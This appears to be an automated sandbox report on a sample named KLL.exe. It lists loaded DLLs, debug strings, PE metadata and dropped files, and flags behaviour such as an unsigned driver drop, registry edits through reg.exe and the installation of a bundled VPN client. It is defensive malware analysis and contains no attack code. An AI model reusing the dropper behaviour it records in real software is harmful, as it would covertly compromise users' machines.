Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll

Source: C:\Users\user\Desktop\KLL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mmc.exe

Window found: window name: msctls_updown32

Jump to behavior

Source: C:\ProgramData\letsvpn-latest.exe	Automated click: Next >
Source: C:\ProgramData\letsvpn-latest.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: KLL.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: KLL.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: KLL.exe

Static file information: File size 31853056 > 1048576

Source: KLL.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x308600
Source: KLL.exe	Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1a24c00

Source: KLL.exe	Static PE information: More than 200 imports for KERNEL32.dll
Source: KLL.exe	Static PE information: More than 200 imports for USER32.dll

Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: KLL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: KLL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000044.00000002.2764349609.0000000003022000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000037.00000002.3948589910.0000000005BC2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\MdXaml\artifacts\obj\MdXaml\Release\net45\MdXaml.pdbSHA256/T source: MdXaml.dll.18.dr
Source:	Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration.ConfigurationManager/net461-windows-Release/System.Configuration.ConfigurationManager.pdbSHA256h source: System.Configuration.ConfigurationManager.dll.18.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000010.00000000.2190373337.000000000077A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Xml/net461-windows-Release/System.Security.Cryptography.Xml.pdb source: System.Security.Cryptography.Xml.dll.18.dr
Source:	Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000037.00000002.3970917847.0000000031182000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 0000001D.00000002.2469928545.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2466685704.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2516221228.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2470214690.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2533730870.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2535669644.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3958682175.000000002F412000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000037.00000002.4009260053.0000000038042000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdbon source: Microsoft.Web.WebView2.Wpf.dll.18.dr
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: /_/artifacts/obj/System.IO.Ports/net461-windows-Release/System.IO.Ports.pdbSHA256T source: System.IO.Ports.dll.18.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000037.00000002.3965361357.00000000300D2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000037.00000002.4003909720.0000000037DB2000.00000002.00000001.01000000.0000003B.sdmp
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3965361357.00000000300D2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: C:\projects\sharpcompress\src\SharpCompress\obj\Release\net45\SharpCompress.pdbL source: SharpCompress.dll.18.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.3915071580.0000000073AB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000037.00000002.3958799294.000000002F422000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: Microsoft.Web.WebView2.Wpf.dll.18.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000047.00000002.2766524594.0000000003262000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Xml/net461-windows-Release/System.Security.Cryptography.Xml.pdbSHA256 source: System.Security.Cryptography.Xml.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: System.ComponentModel.dll.18.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000047.00000002.2766524594.0000000003262000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdb source: Microsoft.Web.WebView2.WinForms.dll.18.dr
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: Microsoft.Web.WebView2.Core.dll.18.dr
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000037.00000002.3948725743.0000000005BD2000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.AccessControl/net461-windows-Release/System.Security.AccessControl.pdbSHA256 source: System.Security.AccessControl.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: System.IO.FileSystem.DriveInfo.dll.18.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000037.00000002.3958799294.000000002F422000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: System.Threading.Tasks.Extensions.dll.18.dr
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000037.00000002.4009260053.0000000038042000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000023.00000003.2490141054.0000018138E39000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000037.00000002.4008886457.0000000038032000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\obj\Squirrel\Release\net45\Squirrel.pdbSHA256 source: Squirrel.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.IO.Ports/net461-windows-Release/System.IO.Ports.pdb source: System.IO.Ports.dll.18.dr
Source:	Binary string: E:\A\_work\65\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Pipes.AccessControl/netfx\System.IO.Pipes.AccessControl.pdb source: System.IO.Pipes.AccessControl.dll.18.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000010.00000000.2190373337.000000000077A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000037.00000002.4008576669.0000000038012000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: System.Console.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.Configuration.ConfigurationManager/net461-windows-Release/System.Configuration.ConfigurationManager.pdb source: System.Configuration.ConfigurationManager.dll.18.dr
Source:	Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000037.00000002.3949103498.0000000005C02000.00000002.00000001.01000000.00000020.sdmp, System.Memory.dll.18.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: System.ComponentModel.EventBasedAsync.dll.18.dr
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000036.00000002.2608629573.00000000000CD000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000036.00000000.2599852964.00000000000CD000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\65\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Pipes.AccessControl/netfx\System.IO.Pipes.AccessControl.pdb/5I5 ;5_CorDllMainmscoree.dll source: System.IO.Pipes.AccessControl.dll.18.dr
Source:	Binary string: \samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: tapinstall.exe, 0000001F.00000003.2513939272.00000000010B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000037.00000002.3948986224.0000000005BF2000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000037.00000002.3948377972.0000000005B52000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: System.Linq.Parallel.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000037.00000002.3965701739.0000000030102000.00000002.00000001.01000000.0000002A.sdmp, SQLitePCLRaw.core.dll.18.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000037.00000002.3948377972.0000000005B52000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000037.00000002.3965892323.0000000030122000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3965892323.0000000030122000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.3915071580.0000000073AB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\projects\sharpcompress\src\SharpCompress\obj\Release\net45\SharpCompress.pdb source: SharpCompress.dll.18.dr
Source:	Binary string: D:\MdXaml\artifacts\obj\MdXaml\Release\net45\MdXaml.pdb source: MdXaml.dll.18.dr
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\obj\Squirrel\Release\net45\Squirrel.pdb source: Squirrel.dll.18.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000037.00000002.3958682175.000000002F412000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 0000001D.00000002.2469928545.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2466685704.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2516221228.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2470214690.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2533730870.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2535669644.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000037.00000002.4008886457.0000000038032000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3966053418.0000000030142000.00000002.00000001.01000000.0000002C.sdmp, SQLitePCLRaw.nativelibrary.dll.18.dr
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.4008576669.0000000038012000.00000002.00000001.01000000.00000036.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: System.Runtime.dll.18.dr
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000037.00000002.3948589910.0000000005BC2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: System.Collections.dll.18.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000037.00000002.3965701739.0000000030102000.00000002.00000001.01000000.0000002A.sdmp, SQLitePCLRaw.core.dll.18.dr
Source:	Binary string: /_/artifacts/obj/System.Security.AccessControl/net461-windows-Release/System.Security.AccessControl.pdb source: System.Security.AccessControl.dll.18.dr
Source:	Binary string: Extract: Mono.Cecil.Pdb.dll... 100%gy0 source: letsvpn-latest.exe, 00000012.00000002.2601085872.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000012.00000003.2600431557.00000000006B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000037.00000002.3966053418.0000000030142000.00000002.00000001.01000000.0000002C.sdmp, SQLitePCLRaw.nativelibrary.dll.18.dr

Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: System.Web.Services.Description.resources.dll.18.dr

Static PE information: 0xFFD49B28 [Tue Jan 5 08:30:32 2106 UTC]

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180005710 LoadLibraryW,GetProcAddress,ShellExecuteW,LoadLibraryW,GetProcAddress,Sleep,SleepEx,DeleteFileW,CreateDirectoryW,Sleep,SleepEx,Sleep,SleepEx,ShellExecuteW,Sleep,SleepEx,Sleep,SleepEx,DeleteFileW,DeleteFileW,DeleteFileW,std::ios_base::_Ios_base_dtor,

0_2_0000000180005710

Source: KLL.exe	Static PE information: section name: _RDATA
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: s.0.dr	Static PE information: section name: .giats
Source: uc_guilib.dll.13.dr	Static PE information: section name: .giats
Source: msvcp140.dll.16.dr	Static PE information: section name: .didat
Source: uc_guilib.dll.16.dr	Static PE information: section name: .giats
Source: vcruntime140.dll.16.dr	Static PE information: section name: _RDATA
Source: e_sqlite3.dll0.18.dr	Static PE information: section name: _RDATA
Source: WebView2Loader.dll.18.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.dll.18.dr	Static PE information: section name: _RDATA
Source: WebView2Loader.dll0.18.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.dll0.18.dr	Static PE information: section name: .voltbl

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_007790A6 push ecx; ret	16_2_007790B9
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B1D16 push ecx; ret	16_2_6C7B1D29
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B1B85 push ecx; ret	16_2_6C7B1B98
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C928E5C push eax; retn 6C93h	16_2_6C9292AD
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C95AE76 push ecx; ret	16_2_6C95AE89
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921A54 push eax; ret	16_2_6C921A59
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921A5C pushad ; ret	16_2_6C921A5D
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921A40 pushad ; retn 0001h	16_2_6C921A41
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921A6C pushad ; ret	16_2_6C921A5D
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C928B06 push es; ret	16_2_6C928B09
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C928B0A push ebx; ret	16_2_6C928B0D
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C95B6B8 push ecx; ret	16_2_6C95B6CB

Source: e_sqlite3.dll.18.dr

Static PE information: section name: .text entropy: 7.128615396301837

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC9A3.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	Jump to dropped file
